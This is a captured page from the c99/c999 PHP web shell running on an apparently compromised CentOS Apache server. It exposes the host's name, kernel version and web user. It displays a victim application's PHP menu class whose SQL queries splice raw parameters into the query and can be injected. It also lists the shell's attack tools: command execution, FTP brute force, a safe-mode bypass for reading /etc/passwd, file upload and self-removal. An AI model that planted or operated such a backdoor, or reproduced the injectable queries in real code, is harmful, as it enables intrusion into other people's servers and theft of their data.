!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/ums/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsUmMenuR.php (1.88 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Mseq = $this->result['Mseq']; $this->MmnID = $this->result['MmnID']; $this->MmnNameT = $this->result['MmnNameT']; $this->SMseq = $this->result['SMseq']; $this->SMmnID = $this->result['SMmnID']; $this->SMmnNameT = $this->result['SMmnNameT']; $this->sMnID = $this->result['sMnID']; $this->sMnSeq = $this->result['sMnSeq']; $this->sMnNameT = $this->result['sMnNameT']; $this->sMnLevel = $this->result['sMnLevel']; $this->pMnID = $this->result['pMnID']; $this->pMnSeq = $this->result['pMnSeq']; $this->pMnNameT = $this->result['pMnNameT']; $this->pMnLevel = $this->result['pMnLevel']; return $ret; } function RsMainMenuList($StID=""){ if ($StID<>""){ $cond="and MnStID=$StID" ; } $sql=" select * from ummenu where MnParentMnID=0 $cond order by MnStID, MnSeq "; $this->SetQuery($sql); } function RsMenuList($PrMnID){ $cond="and MnParentMnID=$PrMnID "; $sql="SELECT * FROM ummenu m INNER JOIN ummenu sm ON sm.MnParentMnID = m.MnID WHERE 1=1 $cond ORDER BY MnParentMnID, m.MnSeq"; $this->SetQuery($sql); } function RsMenuList1($PrMnID){ $cond="and s.MnParentMnID=$PrMnID "; $sql="SELECT s.MnID as sMnID, s.MnSeq as sMnSeq, s.MnNameT as sMnNameT, s.MnLevel as sMnLevel, p.MnID as pMnID, p.MnSeq as pMnSeq, p.MnNameT as pMnNameT, p.MnLevel as pMnLevel FROM ummenu s INNER JOIN ummenu p ON s.MnParentMnID = p.MnID WHERE 1=1 $cond ORDER BY sMnSeq"; $this->SetQuery($sql); } function RsMainMenuByUsGrp($UsID, $GpID){ $cond="and UgUsID=$UsID and UgGpID=$GpID "; $sql="SELECT * FROM ummenu INNER JOIN umsystem ON MnStID=StID INNER JOIN umgroup ON StID=GpStID INNER JOIN umusergroup ON GpID=UgGpID WHERE 1=1 and MnLevel=0 $cond ORDER BY MnParentMnID, MnSeq"; $this->SetQuery($sql); } } ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.005 ]--